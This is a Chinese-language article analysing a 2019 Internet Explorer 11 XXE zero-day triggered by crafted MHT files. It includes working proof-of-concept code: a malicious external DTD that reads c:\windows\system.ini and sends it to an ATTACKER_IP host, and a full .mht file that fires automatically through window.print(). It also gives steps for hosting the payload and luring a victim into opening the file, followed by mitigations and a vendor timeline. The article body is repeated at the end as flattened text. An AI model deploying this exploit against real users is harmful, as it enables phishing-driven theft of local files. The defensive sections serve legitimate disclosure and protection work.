高危 0day! 微软拒绝修复,研究员公开 IE 浏览器 0day 详情和 PoC
字数 1370 2025-08-18 11:38:28

Microsoft Internet Explorer XXE 0day漏洞分析与利用指南

漏洞概述

本漏洞是一个存在于Internet Explorer 11浏览器中的XML外部实体注入(XXE)漏洞,影响Windows 7、10和Server 2012 R2系统。该漏洞通过特殊构造的MHT文件触发,可导致攻击者窃取本地文件并侦察系统信息。

漏洞技术细节

漏洞类型

  • XML外部实体注入(XXE)
  • 影响IE处理MHT文件的方式

受影响系统

  • Windows 7 (完整补丁)
  • Windows 10 (完整补丁)
  • Windows Server 2012 R2 (完整补丁)
  • Internet Explorer 11 (最新版本)

攻击向量

  • 用户本地打开特制的.MHT文件
  • 文件可通过钓鱼邮件、恶意网站等方式传播

漏洞触发条件

  1. 用户打开恶意.MHT文件
  2. 文件在本地系统执行(非网络下载)
  3. 触发方式:
    • 用户交互:重复选项卡(Ctrl+K)
    • 右击网页选择"打印预览"或"打印"
    • 通过window.print() JavaScript函数自动触发(无需用户交互)

漏洞利用原理

MHT文件结构

MHT(MHTML Web Archive)是IE浏览器保存网页的默认格式,包含:

  • 多部分MIME消息结构
  • XML实体声明
  • 恶意XXE载荷

XXE注入点

漏洞存在于IE解析MHT文件中的XML部分时:

  1. 文件包含外部实体声明
  2. 实体引用本地系统文件(如c:\windows\system.ini)
  3. 通过HTTP请求将文件内容外泄到攻击者服务器

绕过安全机制

  • 不显示ActiveX安全警告
  • 不提示活动内容安全栏

漏洞利用步骤

准备工作

  1. 攻击者服务器(Python SimpleHTTPServer)
  2. 生成两个恶意文件:
    • datatears.xml (XXE载荷)
    • msie-xxe-0day.mht (触发文件)

利用代码分析

datatears.xml

<!ENTITY % data SYSTEM "c:\windows\system.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://ATTACKER_IP:PORT/?%data;'>">
<!ENTITY % data SYSTEM "file:///c:/windows/system.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://ATTACKER_IP:PORT/?%data;'>">

msie-xxe-0day.mht

From:
Subject:
Date:
MIME-Version: 1.0
Content-Type: multipart/related; type="text/html";
	boundary="=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001"
This is a multi-part message in MIME format.


--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001
Content-Type: text/html; charset="UTF-8"
Content-Location: main.htm

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>MSIE XXE 0day</title>
</head>
<body>
<xml>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://ATTACKER_IP:PORT/datatears.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
<r>&exfil;</r>
<r>&exfil;</r>
<r>&exfil;</r>
</xml>
<script>window.print();</script>
<table cellpadding="0" cellspacing="0" border="0">
<tr>
<td class="contentcell-width">
<h1>MSIE XML External Entity 0day PoC.</h1>
<h3>Discovery: hyp3rlinx</h3>
<h3>ApparitionSec</h3>
</td>
</tr>
</table>
</body>
</html>

--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001--

利用步骤

  1. 修改PoC代码中的攻击者IP和端口
  2. 生成恶意文件:
    mk_msie_0day_filez("msie-xxe-0day.mht", mht_file)
    mk_msie_0day_filez("datatears.xml", xml_file)
    
  3. 启动Python HTTP服务器:
    python -m SimpleHTTPServer
    
  4. 将datatears.xml放在服务器web根目录
  5. 诱使用户打开msie-xxe-0day.mht文件
  6. 服务器接收外泄的文件内容

防御措施

临时缓解方案

  1. 禁用IE浏览器打开MHT文件
    • 修改文件关联,使用其他程序打开MHT文件
  2. 禁用IE浏览器XML处理功能
  3. 使用组策略限制IE活动内容执行

长期解决方案

  1. 升级到Microsoft Edge浏览器
  2. 禁用或卸载IE浏览器(如系统允许)
  3. 教育用户不要打开未知来源的MHT文件

企业防护建议

  1. 邮件网关过滤MHT附件
  2. 终端防护软件监控可疑文件操作
  3. 网络流量监控检测异常HTTP请求

微软响应情况

  • 2019年3月27日:漏洞报告确认
  • 2019年4月10日:微软拒绝修复,称"将在未来版本考虑"
  • 漏洞状态:未修复

影响评估

  • 尽管IE市场份额下降(约7.34%),但风险仍然存在
  • Windows默认使用IE打开MHT文件
  • 历史上有利用MHT文件进行鱼叉式钓鱼攻击的案例

参考资源

  1. 原始漏洞报告
  2. PoC视频演示
  3. ZDNet报道

免责声明

本文档仅用于安全研究和教育目的。未经授权使用此信息进行攻击是非法的。作者和发布者不对任何滥用行为负责。

Microsoft Internet Explorer XXE 0day漏洞分析与利用指南 漏洞概述 本漏洞是一个存在于Internet Explorer 11浏览器中的XML外部实体注入(XXE)漏洞,影响Windows 7、10和Server 2012 R2系统。该漏洞通过特殊构造的MHT文件触发,可导致攻击者窃取本地文件并侦察系统信息。 漏洞技术细节 漏洞类型 XML外部实体注入(XXE) 影响IE处理MHT文件的方式 受影响系统 Windows 7 (完整补丁) Windows 10 (完整补丁) Windows Server 2012 R2 (完整补丁) Internet Explorer 11 (最新版本) 攻击向量 用户本地打开特制的.MHT文件 文件可通过钓鱼邮件、恶意网站等方式传播 漏洞触发条件 用户打开恶意.MHT文件 文件在本地系统执行(非网络下载) 触发方式: 用户交互:重复选项卡(Ctrl+K) 右击网页选择"打印预览"或"打印" 通过window.print() JavaScript函数自动触发(无需用户交互) 漏洞利用原理 MHT文件结构 MHT(MHTML Web Archive)是IE浏览器保存网页的默认格式,包含: 多部分MIME消息结构 XML实体声明 恶意XXE载荷 XXE注入点 漏洞存在于IE解析MHT文件中的XML部分时: 文件包含外部实体声明 实体引用本地系统文件(如c:\windows\system.ini) 通过HTTP请求将文件内容外泄到攻击者服务器 绕过安全机制 不显示ActiveX安全警告 不提示活动内容安全栏 漏洞利用步骤 准备工作 攻击者服务器(Python SimpleHTTPServer) 生成两个恶意文件: datatears.xml (XXE载荷) msie-xxe-0day.mht (触发文件) 利用代码分析 datatears.xml msie-xxe-0day.mht 利用步骤 修改PoC代码中的攻击者IP和端口 生成恶意文件: 启动Python HTTP服务器: 将datatears.xml放在服务器web根目录 诱使用户打开msie-xxe-0day.mht文件 服务器接收外泄的文件内容 防御措施 临时缓解方案 禁用IE浏览器打开MHT文件 修改文件关联,使用其他程序打开MHT文件 禁用IE浏览器XML处理功能 使用组策略限制IE活动内容执行 长期解决方案 升级到Microsoft Edge浏览器 禁用或卸载IE浏览器(如系统允许) 教育用户不要打开未知来源的MHT文件 企业防护建议 邮件网关过滤MHT附件 终端防护软件监控可疑文件操作 网络流量监控检测异常HTTP请求 微软响应情况 2019年3月27日:漏洞报告确认 2019年4月10日:微软拒绝修复,称"将在未来版本考虑" 漏洞状态:未修复 影响评估 尽管IE市场份额下降(约7.34%),但风险仍然存在 Windows默认使用IE打开MHT文件 历史上有利用MHT文件进行鱼叉式钓鱼攻击的案例 参考资源 原始漏洞报告 PoC视频演示 ZDNet报道 免责声明 本文档仅用于安全研究和教育目的。未经授权使用此信息进行攻击是非法的。作者和发布者不对任何滥用行为负责。